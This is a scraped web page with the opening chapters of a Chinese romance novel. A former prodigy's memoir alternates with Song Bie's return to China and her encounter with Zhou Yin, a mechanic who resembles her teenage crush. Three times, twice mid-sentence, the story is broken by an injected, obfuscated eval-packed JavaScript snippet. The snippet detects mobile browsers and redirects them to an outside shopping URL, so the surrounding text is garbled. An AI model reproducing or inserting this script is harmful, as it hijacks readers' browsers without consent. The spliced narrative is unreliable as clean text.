《西行徒》 1. 第 1 章 1. 我想,这大抵算得上是日记吧,但若是往后来写的,也不应叫日记,传记或许更合适些。 无论是日记或是传记,到今日都不好再纠结分论些什么,无非就是我这冗长的,裹满罪恶的一生。 至于为什么要写这么一本传记,一是为宋别,我实在还是想为自己辩白几句,以至于日后她想起我的时候,唾骂之后,还能怀着点怜惜,不必全是怨恨。二是为我自己了。走到今天这个地步,也实在是让我意想不到,曾经那样裘马轻狂志在四方的人,怎么就成了这样。 我不明白,于是只好再把走过的路分分句句拆解,看一看,我到底错在什么地方。 若能警醒世人,也算留下一点功业,减轻一些罪孽。 以上是前言部分,接下来就是正文了。 我叫谢琅,谢灵运,谢道韫,旧时王谢堂前燕,都是这个谢,琅字也不平凡,琳琅满目的琅。名字并不平凡,而在我年少时,自负也是能衬得上这个名字的。童年几年皆不必赘述,便由九六年说起。 那一年我十五岁,以极其优异的成绩迈进高中的大门。九六年就是那样,正在中国高速发展的阶段上,那时候考学并不是那么重要,反而进厂才是最有前途,最有保障的工作。再不济,进不了厂的人就流行下海做生意,北边的去南边,南边的去西边,隔几年回来,个个都是衣锦还乡。 我爸我妈正好两头都占了。我妈在钢厂的厂办工作,我爸去下海做生意,因此,在这之前,我的生活都过得十分殷实。 尤其到后来,我爸甚至做成了市里的优秀企业家,我们家已经不再满足于小康阶级,我也能勉勉强强算上个富二代。和其他富二代的不同是,我不是生下来就是的,随着我的长大,我爸的生意才一步步越来越大。 于是我妈总是告诉我,我是家里的福星,说我以后肯定会有大出息。我问她什么是大出息,怎么才算有大出息。 我妈想了想,说,就是让别人都能记得你的名字。 我似懂非懂地点了点头,明白了一些。后来也确实是让别人记得了我的名字,可怎么都说不上是出息,而是丑闻,是污点。 对于宋别,我着实说得上是她光鲜人生中,一个不可忽视的污点。 以至于后来,我也总是觉得对不起她,想尽方法弥补,总也无济于事。毕竟我的人生已经这样了,烂到了污泥里,唯一为她好的方法,就是使她远离我。 然而我也还算争气,现在说这话颇具自谦的意思,放到以前,我一度都以为自己实则是个天才之流。毕竟我的中考数理化,是全市唯一一个全满分的,还没入学就收到了一中的电话,通知我到学校去拍照片。 这算是我人生光辉时刻的起点。 等到真正开学之后,看着学校的宣传栏上高高挂着我的照片,心中的虚荣心也一下子被满足,但还要装作毫不在意的样子,跟我妈讲,照的不够帅。一路上我接受了太多人的注目礼,我妈送我到教室时也有家长在问,怎么教出我这样的孩子的。 我的余光瞥见我妈有些尴尬的跟他们讲,也没太正经管过我。这不是什么炫耀,这是真的。 我妈是个没什么追求且常常自得其乐的母亲,对我的唯一要求是让我心情快乐三观正直的长大。当然我并不知道这是不是因为其他对于好孩子好学生的溢美之词我已经早已满足。 送完我之后,适当叮嘱了几句多喝水和同学好好相处之类的话她就离开,留我一个人坐在位置上,靠着窗边发呆。 耳边是同学们小声聊天的声音,还有此起彼伏的翻书声,我往前扫了一眼,真是不明白才开学第一天,有什么好学的。 我的位置旁边四下都还没人,没什么可聊的,于是也只好随手翻书看看,数学和物理都太简单,我看了几分钟,做了两个题,开始看语文书。 刚刚刊印出来的新书有一股淡淡的墨香,我对这种味道情有独钟,但这个味道却并不被同学们所喜,我也不太好表露出来,于是只能来回翻页,在烛光斧影之间寻找隐约的踪迹。 同学们是在晚上陆陆续续到齐的,我们班主任也趁此开了个小班会,讲一些我都能背下来的陈词滥调,什么高中和初中不同,什么要更加努力。让我听的昏昏欲睡。 真的要睡着的时候,我蓦地听见了自己的名字,中年妇女独有的温和敦厚的嗓音,叫谢琅两个字。 她问谁是谢琅。 我自然举起了手,所有的目光一时聚集在我身上,伴随着俯首帖耳的讨论,他就是谢琅啊。 班主任点点头,把我叫出教室外,对我说,谢琅,我看了你的成绩,是很不错的了。但也不要骄傲,隔壁还有个小姑娘是保送来的呢。 我点点头,脸上没有什么特别的表情,没有谦虚,说以后继续努力,也没有说谢谢老师夸奖。“很不错”这样的词对我而言才不是夸奖。别人或许可以,但我是谢琅。 当年我就是这样,年少无知,目中无人,自命不凡。 班主任接着说,军训结束以后有一个开学典礼,你先准备一份稿子,到时候在上面发言。 我点头说好,受命办事,在晚自习剩下的不到十分钟的时间里,随手撕了一张纸,写完了开启九六级新生的入学序章。 最后浑噩一天回到家,不知道这将是我以后高中生活最轻松的一天。洗澡,给我爸打完电话睡过去之后,迷迷糊糊之间还能听见夏日未死的蝉在窗外引吭高歌。好似他的一生即将进入尾声,迫切地想为这个世界留下点什么。 我听着这叫声,混沌地在想,倘若我要死了——我会死的,人都会死的。那么在我还活着的时候,我也要为世界留下点什么,为世界贡献点什么,好让他人后人提到谢琅这个名字,心中缅怀,表情敬重。若是他人后人不记得我也好,只要我自己知道是个好人也行,我就像某个哲人说得那样,无私奉献,不求回报。 哇,那样的话,我的人生还真有意义。 2. 宋别从飞机上醒来时,舷窗外一片漆黑,她的胳膊被自己枕的有些发麻,甩了甩手,看向上面的腕表,指针正指向数字十二。 纽约和北京正好有着十二个小时的时差,现在应该是凌晨十二点,广播上是空姐温婉的声音,播报着离落地还有半小时,请各位乘客收起小桌板,打开遮光板。 她如是做,伸手按了按酸疼的脖颈,往嘴里填了一颗薄荷糖。困倦的头脑瞬时清明起来,开始有一搭没一搭地翻着手里的一本时尚杂志,这是在机场顺手买的,色彩绮丽,布料稀薄,充斥北美的时尚风潮。 即便在北美国度生活了将近七年,她骨子里还是有被儒家文化规训出来的耻感,没办法完全接受美利坚土地上滋养出来的自由主义。翻了两页就停下来手上的动作,转头看向外面的朗朗星夜。 轻微的失重感传来,飞机平稳降落,在跑道上滑行了一段时间就彻底停住,宋别拿起自己的包走下去,到行李转盘取了箱子,才发觉外面已经下起来雨。 原本不应该是凌晨到的,奈何出发天气变换,旧金山突降大雨,飞机延误了太长时间,到了国内已经是半夜三更,连之前约的司机也爽了约。 宋别有点犯愁,却忘了这是在国内,机场上有指示牌,有专门的出租车司机在负一层接客。 她推着箱子过去,那里已经人迹寥寥了,但还是有一个司机看见她就迎了上去,热络的问她去哪儿。宋别一张口就是英文,反应过来才改回腔调,报了酒店的名字。 “哎呀,能去能去,来姑娘,我来帮你拿行李。”司机立马接过她手里的行李,抬到后备箱里,还热情地给她拉开车门。 要么说呢,中国就是人情世故浓厚的国家。 宋别坐进车里,打开手机翻着助理发来的信息,包括新公司的人员名单,履历,甚至性格,以及关于澄州的市场调查。不知道是不是因为回国了的原因,现在看一个个英文字母组成的单词竟然觉得头疼。 她放下手机,眼神挪到外面,看到出租车掠过一个地方——长明俱乐部。宋别没留情面,直言不讳:“师傅,大晚上的看不清路呢?瞧这都快给我绕到三环来了。” 师傅一开始听她讲洋文,以为是个外地人,也就想着多赚点是点,也没想到现在姑娘一张嘴就是澄州话,弄得人有点下不来台。 他只好不好意思地笑笑,顺着她的话说:“对不住啊姑娘,等会儿下车的时候我给你抹个零,您就甭计较……” “嘭!” 最后那个字还没说出来,两人都感到一股巨大的推力,而后是一阵天旋地转,宋别的脑袋猛撞在车上,要不是有安全带,整个人都要被甩飞出去,最后车子撞上护栏停下,往一侧侧翻了过去。 她还有点些微的意识,伸手去碰自己的伤口,摸到一把粘稠的鲜血。 宋别彻底昏了过去。 再次有意识,是她的嗅觉先一步醒过来的。医院的消毒水味刺激的她喘不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135745|150085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气来,被迫睁开了双眼,然后是身边两个阿姨聊天的声音。 “你是不知道啊,我们家那个媳妇,死活不肯要二胎,你说生个丫头片子有什么用,以后不还是要嫁给别人家的呀…” “是的呀,我们家那个也是,生是生了,两个都是姑娘。哎…” 宋别动了动身体,发现左胳膊被打上了石膏,一侧额角上出奇地疼,太阳穴也还在突突突跳个不停。偏偏两个阿姨还在一边发表长篇大论,一直说到,不行离了再找一个吧,反正现在黄花姑娘多的是。 她在心底骂了一句傻缺,抬手按了一下床沿的呼叫铃。 两个阿姨的目光也被吸引,朝她看过来,喋喋不休地讲:“醒了啊姑娘,这都睡了多久了,我跟你讲,昨天你被送来的时候啊,满头满脸的血要吓死人呀。” 宋别没理她们,等护士过来,直接把目光转向护士,问道:“国际部还有房间吗,有的话麻烦帮我办理一下。” 两个阿姨见状,鼻子不是鼻子,眼睛不是眼睛冷哼一声,小声嘟囔:“神气什么——” 除了箱子之外,她的私人物品都被放进了柜子里,护士帮她把包拿出来,宋别翻找了几番,拿出一沓现金出来:“多不退少补。” 一开始护士还挺不满意她这二五八万的做派,直到看见她递到她手里明晃晃的红色纸币,贼热情地给人去办理了。她这个二五八万的大爷,没一会儿就二五八万地躺在了国际部的病床上。 包里还有烟,但是没有烟盒。 她搓了搓手,忍下去,开始整合到底是怎么回事。 她回到祖国怀抱第一天,被同胞绕路,然后被大概率也是个同胞的人开车撞了,继而来到了这里。断手碰头,一身伤。 得找个日子算一算,是不是犯了什么忌讳。 这么想着的时候,房间门被扣响,她说了一声请进,而后就看见了两个穿着警服的男人,他们是来了解一些情况的。 “宋小姐是吧,可以具体讲一下昨晚发生了什么吗?” 宋别低头看了一眼已经充好电的手机,对他们说道:“我坐出租车,司机给我绕路,然后出车祸了。” 警察叔叔对视一眼,又问一句:“就这些?” 她一脸那不然呢的样子。 他们沉默片刻,而后说:“司机王先生昨天没抢救回来,安全气囊弹出来导致他缺氧时间太长,正好还有一个玻璃扎到了他的大动脉。” “真可惜。” 她不咸不淡地说出这句话,声音颇显冷漠,又问:“人查到了吗?” “今早已经自首了,我们查过监控和其他相关的,确认是那名司机车子出现故障,加上雨天路滑,才导致这次意外的发生。司机那边家属已经协调好,看你谅不谅解。” 宋别点点头,在心底有些冷笑,怎么可能谅解,耽误了自己那么多事,还给她弄出来一身伤,她不存什么报复心都是够有素质的了。 警察没再说什么,让她好了之后拿身份证到警局领自己的东西后就关门离开。 电话在这时响了起来。 她按下接听键,听筒里传来助理浓厚的明尼苏达口音,一板一眼地跟她汇报着工作,最后讲了一下集团现状。她的位置很快有人顶了上去,但至少目前而言还没坐稳,宋别留下的人还没磨合好,另一本还有个死胖子Brayden处处压制,情况并不很好。 这一点宋别倒是想到了,她在公司的时候这死胖子就跟她处处不对付,现在换了人了他倒还是这么欠。 末了,助理又问她在这边怎么样了,一切是否顺利。宋别说出了点小意外,但不是什么大问题,很快就能处理好。助理没再多言,礼貌挂断了电话。 宋别捏了捏眉心,烟瘾一上来就没完没了的,非得要来上一根解解瘾不可,无奈现在身边空无一人。她正想着要不要按铃让护士帮忙去买烟的时候,房间的门被扣响了。 她烦躁地说了一声:“进。” 那人打开门,简单的白T牛仔裤,身姿高大挺阔,往上看,长了一张足以进电视做明星的脸。 鼻梁高挺,眼神晦暗不明,唇角紧抿,嘴角微微向下,给人一种不好惹的感觉。 ——宋别没想到会在这里碰见他,也没想到会碰到这样的他。她有点发愣,记忆回溯,竟然已经是十年前的事了。如今再看,怎么都有些物是人非的滋味。 男人开口了,声音略有些哑:“宋小姐你好,我是周寅。” 2. 第 2 章 1. 我初中的学校是没有军训的,故而我也从没把高中的军训放进眼里,直到我穿着一身不透气的校服站了一上午,原本的好男儿铮铮铁骨终于彻底屈服。 中午午休回家,我特地上网搜索了一下到底是哪个人闲的没事发明的军训这种人神共愤的活动,结果发现是愿者上钩的那个姜太公,顿时就明了了,一般人是闲不出这么新奇的花样。而后的那一个下午,我就在心里慰问姜太公中度过。 但这才仅仅一天,军训要十四天,还剩下十四分之十三,我真的不知道怎么熬过去。我心里明白了,这将是我进入澄州一中的第一大磨炼。没关系,所谓天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤。 我这么安慰着自己,想到了一个方法借以消磨时光。 暑假的时候我预习过高中的知识,也并不多难,翻翻书,做两套卷子就熟悉了。于是每天晚上和中午我都在脑子里背试卷,军训的时候再从脑子里提溜出来做。 我的记忆力大概就是这样一点一点磨砺出来的,说是天才也好,学神也好,我一概都照单全收,不知谦虚为何物。但我是真的能配得上这些称谓的,以至于后来走上那条不归路时,人们恨我之际,难免会扼腕叹息。 那可是谢琅啊,他本该有一个远大前程。 难熬的军训就在我脑海里的数学和物理题中度过去,而后迎接我们的就是开学典礼。 我依照班主任的吩咐,从角落里找回前几天写的那张破破烂烂的发言稿就站上了演讲台,台下是乌泱泱黑压压的同学,烈日灼烧,汗如雨下,还要顶着阳光抬头看我。 说实话,班主任一开始让我上台演讲时我并不是多么乐意,就在暑假刚结束不久时,我就被初中的学校邀请去演讲,激励学弟学妹。我其实很搞不懂为什么学校总热衷于搞这么大大小小的所谓演讲,还总要冠以“代表”的名号。代表应该是要和他们一样的人才对吧,可我就是和他们不一样啊,我是天才。而台下的那些乌泱泱黑压压,别说天才了,许多连人才都算不上。 我怎么能成为这些人的代表,我怎么能和这些人同流合污? 我展开那张皱皱巴巴的纸,往下看了一眼,同学们被晒得通红的脸上尽是麻木,麻木里又挣扎出一丝希冀,实在滑稽。我忍下笑意,开始念稿:在这个桂子飘香,金秋送爽的九月,我们踏进了向往已久的校园,希望在接下来的高中生活中,我们可以共同奋斗,为我们的前程书写一曲美丽的华章。我的演讲到此结束,谢谢大家。 连一分钟都不到的演讲,校领导拧开水瓶盖还没来得及喝,就被我的谢谢大家实打实呛了一口。 寂静片刻,台下爆发出整场最震耳欲聋的掌声,我十分臭屁地走下台,对这反应很满意。看吧,我不是他们的代表,我是他们的救世主。 但装的下场就是被班主任拎到后台耳提面命,问我搞得什么名堂,怎么就写这么一点稿子?我甩了甩手里的纸,诚心告诉她,不啊,我写了很多呢。 她的脸色更不好了,涨红着一张脸问我那为什么不念。我看着她的脸色,不知道是被气得还是晒得,真赶得上《猫和老鼠》里汤姆夸张的特效表情了。于是语重心长地安抚她说,演讲不就是为了激励我亲爱的同学们吗,我这还不够激励啊,你看他们,多兴奋多激昂多热血啊。 和蔼的班主任被我的话呛得一个字也说不出来,像是吃了只死苍蝇一样,不大的眼睛瞪了我半天,才让我回班级队伍里站着。 落笔到这里,时常忍俊不禁,而后潸然泪下。我深刻地明白,苦痛也好欢乐也好,都是与我遥不可及的岁月了,而今的我,只余回忆方能慰藉。 故事继续。 高中生活并没有我想象的那么压抑,我也从没感觉到所谓的压力,相反,我还挺喜欢高中的。我一直觉得初中的那些知识有点白痴,现在终于算好了一些,不那么白痴了。 我并非是那么热爱学习的人,只是很享受成功的快感。况且这些让普通人抓狂的东西,于我而言不过轻而易举唾手可得,这样的成就感虽然比不过全国青少年奥数比赛和青少年编程大赛的奖杯,但已是无以复加。 我人生的这几年该去如何形容,拥有一骑绝尘的成绩,令人艳羡的面孔,以及优渥和谐的家境,上苍给了我所有的溢美之词,把我捧上云端,于是我也开始自觉优越,高傲地看不起脚下这些凡夫俗子。 也许这就是我的原罪。 和初中一样,还是有很多人来向我请教问题,我也从不吝啬为他们解答,不过在我讲完之后,他们通常还要苦思冥想一番才能理解我的方法。 高中的第一次考试是在一个月以后,在这之前我还是有点紧张的,毕竟高处不胜寒,我也害怕维持不了往日的辉煌。这种紧张在看到试卷的那一刻顿时烟消云散了,上面的题都太简单,对我而言几乎不需要任何思考量。 成绩也很快出来,年级前一百名的成绩会被张贴在教学楼下的光荣榜。每次我们跑操回来,路过那里,都能看见谢琅的名字高悬在第一位,让人望尘莫及。此后的时光,我在澄州一中的时间里,谢琅的名字也再没有下来过。 连照片都被晒得发黄。 原本看我不那么顺眼的班主任也不再对我有任何微词,喜笑颜开地跟人介绍,对,谢琅是我们班的,就那个第一名。 那时我拥有青春里所能抓住的所有荣耀,我的生活也易如反掌,每天唯一足够困惑住我的问题只有今天中午吃什么才好。 或许也是因为太美好,太荣耀,太放荡,以至于日后我想起的时候,总觉得不那么真实,我甚至有时候会怀疑的问自己,这些真的存在过吗?如果存在,为何我的身体里毫无痕迹,为何在我的灵魂堙灭殆尽。 我又为何,与此背道而驰。 2. 宋别回神,望向眼前的男人,细眉锁住,无暇的表情有了一瞬的皲裂,带着点不确信的语气问他:“你说你是周寅,哪两个字?” 周寅也疑惑,这个女人没问他是谁,来干嘛的,第一句话是问他的名字是哪两个字。他回答了她:“周而复始的周,子丑寅卯的寅。” 周寅,周寅。无论哪个字都和谢琅说不上关系。可是这个男人,偏偏长了一张和谢琅九分像的面孔,比之当时的少年,身姿更加挺拔,背脊更加宽阔,神色更加坚毅。偏离的那一分,是岁月馈赠的洗礼。 见宋别不说话,周寅只好继续道:“我是为高远的事来的,就是那个撞人的司机。我们这边的意思,还是想要走和解,今天就是来跟您商量一下赔偿的事。” 宋别回神,指了指床边的椅子,示意他:“坐。”等周寅坐下,她的唇角立马溢出一丝毫不遮掩的冷笑,“看来我要投诉一下这间医院的医生护士了,把病人的信息随便透露给不明不白的人。” 这句话含沙射影地就是在说他了,周寅的脸色变了变,直觉这个女人不那么好讲话,而且住国际部的病房,想来也不是能拿钱打发。还没等他讲话,宋别就又发话了:“你说要谈赔偿,算上我的医疗费误工费等等,也就一万块钱不到,三倍赔偿也就是三万,三万块,还不够我一张机票钱…周先生,这买卖可不划算啊。” 周寅也看出这女人在咄咄逼人,却忽地笑了一声,问她:“那怎么着,让他再被你撞一回成吗?” 她也冷嗤了一声:“我倒是想。” 他接上话,继续说:“你看,你也知道这不现实。宋小姐,高远没酒驾,也没其他的重大违规,天黑路滑,意外已经发生了,就算你不同意和解顶多也就是关个十天半月就放出来了,你还落不着什么好。五万总可以,大家何乐而不为?” “五万啊。”宋别直勾勾盯着人,语气婉转,似在考量。然而开口时却说:“你也说了,不和解就是坐几天牢,为这几天,花五万,周先生,您图什么?” 周寅顿住,随即说:“谁知道那里面什么样的,这不是家里人不想让他去受罪吗?” “家里人是够大方的。”宋别冷笑着开口,并不信他这套说辞,“你和那什么远又是什么关系,表哥,堂哥?表弟,堂弟?” 周寅沉默片刻,从口袋里摸出一根烟,咬进嘴里,没点燃,问她:“那宋小姐想怎么样?” 宋别的目光落在他的烟上,心里某些地方开始泛着难以平复的痒,于是直接管他要了:“给我一根。” 男人显然没想到她会提这么一个要求,又往口袋里摸了摸,拿出一个被挤压有些变形的烟盒,从中抽出一根烟递过去。宋别从善如流地接过,又挑眉:“借个火。” 周寅拿出打火机,想要给她才发现姑娘的胳膊手都被打了石膏,于是送佛送到西,微微俯身,一只手护着风,另一只手按响打火机。 火光亮起的瞬间,两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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无论是不是自谦的话语,都不该是谢琅的未来。他这样的人,可以是任何职业,医生,老师,工程师,但唯独不可以是靠卖力气来谋生的。他是他们口中的天才,高高在上,她曾以为最差的他的结局,也不过是一个按部就班的白领或者籍籍无名的老师,绝不会是现在这样。 宋别在心底沉沉吐出一口气,她设想过他的很多个未来,谋划着他们会在一个什么样的地方重逢,太多年,直到期许都走成虚妄,却遇到一个和他如此相像的人。 命运还真是会戏弄人。 她单手夹住烟,往旁边的垃圾桶里磕了磕烟灰,再次问道:“做多少年了?” “十多年。”周寅说。 “十多年,周先生看着年纪不大啊。” “还成,十六岁就给人当学徒了,现在自己单干。”周寅也点燃了烟,觉得现在话题实在偏离过甚,又往回扯了扯,“宋小姐,你看高远的事……” 宋别重新把烟放进嘴里,看他也朝着垃圾桶里磕烟灰,虎口处有很明显的一块皮肤比旁边的肤色都白一些,凸出来那一块,不知道是什么留下的伤疤。 她盯着那块地方,瞳孔有些紧缩,世界上不会有这么巧合的事。巧合到不仅人长得一样,连伤疤的位置和形状都一样。她不信世上有这样的事。眼前这个自称为周寅的男人,别无他人,在她眼里,他就是彻头彻尾的谢琅。 “宋小姐。”周寅又叫了她一声。 宋别回过神,看着他幽深的瞳孔,粲然露出一个笑容:“谅解书我当然可以签,可是谢琅,你得跟我讲实话。” “宋小姐,我是周寅。”他重复了一次,又说,“我和你口中的那个…谢琅,我们两个真的很像吗?” “何止是像啊。” 宋别的烟到了末尾,最后深吸一口,缓缓吐出薄烟,烟雾缠在她的眼前,让周寅都有了些恍惚了。这个刻薄精明的女人,怎么在那迷蒙不清的烟雾之后,平添出柔情一面? 她再次开口,眼睛里仿若长出牙齿,死死咬着他:“周寅,你和他一模一样。” “要是有缘,我们兴许可以见上一面。” 宋别说:“没这个缘分了,我和他都已经十多年没有见过。” 他有些好笑:“那您怎么就能确定我还和他长得一模一样,十多年,早该变样了。” “十多年,就是变,也得变成你这样的。”她的语气太过笃定,显得有些凛然冷意,却没再坚持叫他谢琅这两个字了。 她说:“周寅,别再叫我宋小姐了。我叫宋别,宋玉的宋,送别的别,你记清楚了,别把我跟别人弄混。” 周寅心中微动,抬眼看向这姑娘,二十多岁的年轻模样,美得十分张扬耀目,她生得一双狐狸眼,太过惑人,像聊斋里化作人形的女妖怪,一伸手,要挖人心脏的。 3. 第 3 章 1. 澄州近来正是深秋和凛冬更替时节,学校里银杏的树叶哗啦啦往下掉,我们拿着扫帚扫一遍,树上就再掉一遍。直到再也落无可落,枝上光秃秃一片,终于显出点凄凉意味。 与此相携的是簌簌北风。 那时我们语文老师在课上讲了一首诗,实在令我记忆尤深,诗的名字叫《别董大》,前两句正合了当日的景色,千里黄云白日曛,北风吹雁雪纷纷。 后两句——莫愁前路无知己,天下谁人不识君。 勉强能够放在当时的我身上。往小了讲,可以说得上是当时青春时代里流行一个词,叫风云人物。我确实说得上是澄州一中的风云人物。 那时恰逢九六年在香港上映的电影《古惑仔之人在江湖》也传遍大街小巷,在我们这个还未能建立好自己的人生观和价值观的年纪,只会盲目地跟随风潮而动。 那部电影确实唤醒了许多同学埋藏在心底的“江湖魂”,但我们的跟随却往往只是浮于皮毛,很难由表及里,谁也没有悟到所谓江湖的精髓,但却刮起了一阵大哥小弟的不正之风。连严格如一中也是如此,偷偷抽烟,吞云吐雾,又或许是被那些烟雾弄得呛眼睛了,又在学校外面的小卖摊上买了一个廉价墨镜戴。 本来这都是什么无伤大雅的事,但不知道是哪一个帮派,打响了起义的第一枪,在某一个月黑风高的夜晚,他们幼稚地把年级榜上所有人的照片都撕掉,换上一个带墨镜的男生回头叼烟的背影照片。 但只有我的还安然无恙,不是别的什么原因,也不是因为我是什么“帮派”头目,而是第一名的照片太高了,他们够不到。 于是第二天就出现了这么一个可笑的场景,我的那张英俊面孔高高悬在上面,睥睨这些自诩风流的跳梁小丑。同学们无暇顾及那个背影的主角究竟是谁,他们讨论之余,末尾都会带上一句,被晒发黄的谢琅的照片还是好看啊。 我在无意之间,被他人推波助澜,成了一个传奇人物。 再一个,也算不得不值一提,就是我各类奥数比赛的冠军名次,在我爸优秀企业家名号的加持下,一些媒体上门写过采访,将我称作澄州天才少年,刊成报纸,分发到澄州各户关心时政的人家里。 某一次我骑着代替二八大杠的崔克蝴蝶穿越在澄州的大街小巷时,差点撞到一个过路的行人,那人还没来得及破口大骂,看见我,愣一下神,然后问我是不是报纸上的那个谢琅。 即便报纸这种东西日日更新迭代,层出不穷,昨日的信息昙花一现之后就会迅速被放逐在历史汪洋,但确实有一段时间,我做到了那句天下谁人不识君。 那是我的光辉岁月。 为何会铭记这段岁月呢,我想,大概就是我真的不是什么脱俗的人。我很享受被人仰望的感觉,面上却还要装的不在意,背地里的虚荣心却早已疯长不知满足。 原谅我始终达不到宋别那样一针见血的犀利文笔,写到某一个字就会不自觉跑偏,大概也是因为这样,在我一次又一次不自觉的跑偏中,再也回不了头。 我妈有时候会问我,以后想做什么,她说我这样的人继承我爸的衣钵都显得太大材小用了,应该做科学家,去报效国家,造福人类。我那时并没什么太大的感觉,因为我并不很想做个伟人之类的,我不是多么大爱无疆无私奉献的人,更觉得能力越大责任越大这句话是在胡扯。人类和我有什么关系,若要我去造福人类,人类得先要造福造福我。 看吧,我的灵魂是配不上我这样的头脑和皮囊的,但世上的大多人,都是先敬罗衣后敬人,先敬皮囊后敬魂。所以就连我这样的人,竟然也会有人追随。 那是一个小小的粉色信封,藏在我桌斗隐秘的暗格里,我从里面抽书的时候,它就飘飘然落在我的双腿上,同桌看见,小小的惊呼一声。 我当然明了这是什么东西,讲实话,从小到大我收到的这些东西已经不计其数,再看见这种满怀少女情事的小信封已然无感。而且我也一直认为,情书这种东西一定是要当面送的,不然不能只靠包着漂亮信封,用带香味的纸,写娟秀的小字,动人的情诗来俘获心上人的芳心的。 我看了一眼那张小小信封,甚至没有拆开,就立马把它塞进了桌斗里,让它进入知识的海洋,给它净化一下。后来再拿出来这尘封已久的信封,是我找不到草稿纸,随手一捞,捞到这个,就勉强让它发挥一下余热,也能算死得其所。 同桌那时很惊讶,并且极不认同我这种做法,说那个女生看到了得要多伤心啊。我那时候回了她什么来着,好像是,我为什么要为她的心情负责? 她一撇嘴,问我是不是天才都这么冷漠不近人情。我就从桌斗里拿出一堆蓝的白的粉的小信封,挑挑拣拣说,今天跟这个在一起,明天和那个在一起,不行,这样太麻烦,干脆一块来算了。这样就好了,谁都温暖到了。 记得我高中那段时间都没怎么买过草稿纸了,那些信件堆满了我的课桌,唯有一点不好,她们用的纸都太好,我甚至不太舍得只用来写计算过程。 然而后来东窗事发,不知道是谁在收废品的王大爷手里看见那一堆写满我荣耀之路的信封和信纸,就几乎再也没有姑娘给我送过情书一类。但偶尔的偶尔,圣诞节或平安夜这种节日里,总还难免收到一些苹果或甜品。 我其实都明白的,有些人追求我的皮囊,有些人贪图我所谓的幼稚声名,还有一些人,只是把我当做一个足够精美的承载爱情的容器。我们都急于长大,在还不懂爱的年纪歌唱书写爱情,日后再回想起来,都成了难堪又真挚的回忆。 他们或许都不再记得我叫什么名字,只是缅怀眷恋地这样说,那时我真傻呀。 2. 周寅一时不察,愣神片刻,手里的烟已经烧到末节,实打实地烫了一下。他连忙把烟丢出去,这个动作有些狼狈,把宋别逗得笑了两声。 她在一边好心奉劝:“周寅,留神。” 周寅咳嗽一声,掩饰好自己的窘迫,重又将目光挪向她,想叫宋小姐时,记起她刚才的话,转口道:“宋别,和解的事你怎么想?” “没怎么想。”宋别说,眼角还带点刚才的笑,“你看,要签谅解书也得等我手好些不是? “——留个电话。”她说。 周寅见她松动,自然没有异议,从口袋里拿出一张蓝白名片递给她。她四下看了看,抽出一张纸巾,把号码写在上面,塞到他手里:“别丢了。” 他看了一眼上面的号码,随后就要告辞。 宋别叫住他:“烟和火机留下。” 周寅怔了怔,顺应地把口袋里的烟盒和打火机放在她手能够得着的桌角,里面已经不剩多少烟了,只余三两根,孤零零地倒在盒子里。他又说了一遍:“等你消息。” 宋别盯着他走出去的背影,又在手里转了转那张名片,最后停下来,仔细看了看。蓝白底色的卡片上写着几个方块字,白杨路一百八十三号,光明修车行,周寅。最后一行是他的号码。 她得要去看看,这个光明修车行究竟是什么牛鬼蛇神。审度一会儿,她就把那张小卡片收了起来,放进自己包里的夹层。 不知道算不算是因祸得福,上苍给了她一次机会,重新遇见谢琅。上一次见他是什么时候来着,十多年前了吧——十年前。她十五岁,获得保送名额之后就离开了校园,和学校里的所有人都断了联系。包括他。 其实他们之间也不能说是断,毕竟一开始也就没什么纠纷缠绕。他或许都不晓得有她这个人。 至于为什么十多年还能记得这么一位人物,她并不否认是因为少年时代的喜欢。九六级入学澄州一中的学生都知道一个名字,谢琅。中考时数理化全满,多年占据年级榜上的第一名,一张脸也是惊世骇俗,那年正是少男少女情窦初开的时节,女孩的心理年龄还要高于男生,就连宋别也没能躲过荷尔蒙的控制。 于是谢琅这一个人,成了她每天上下楼梯经过他们班级都会多看一眼的存在。但也仅仅止步于此,她不舍得付出再多。 如今她也算得上功成名就,衣锦还乡,只有谢琅,是她浩大沉寂青春里的憾事一桩。 宋别又拿起了一根烟,下床,咬进嘴里,点燃。脑海里浮现出在火光里看周寅的模样,带点灼烧的触感,似乎还有一声他微乎其微的喘息声。很快消散。 她忍不住笑了笑,修车也行,搬砖也行,怎么都行,她反正有钱,能养得起。宋别似乎也长长的喘息一声,夹着烟的手指动了动。连她自己也没想到,上天会带来这么一个机会,来弥补缺憾。 宋别的伤说起来并不太重,第三天就裹着纱布出院了,她收拾收拾自己的东西,心安理得地拨通了一个号码。 “周寅?” “你是?”那边声音疑惑,不知道是没听出来她的声音,还是已经忘记了她这个人。伴随着的,还有机械咔吧咔吧的响声,似乎确实是在修车行工作。 宋别反问:“谅解书你还要不要?” “嗯,宋别。”周寅好像拿着手机走远了些,远离那些吵闹的机械声,而后是打火机的一声脆响,他在点烟。 她不自觉想象起那个那个画面,周寅半垂着眼,烟雾从嘴中溢出。宋别忍不住舔了舔干涩的嘴唇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135747|150085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么了?”周寅问她。 “出院了,过来接我。”她道,怕他拒绝,又接着补了一句:“顺便把谅解书给你签了。” 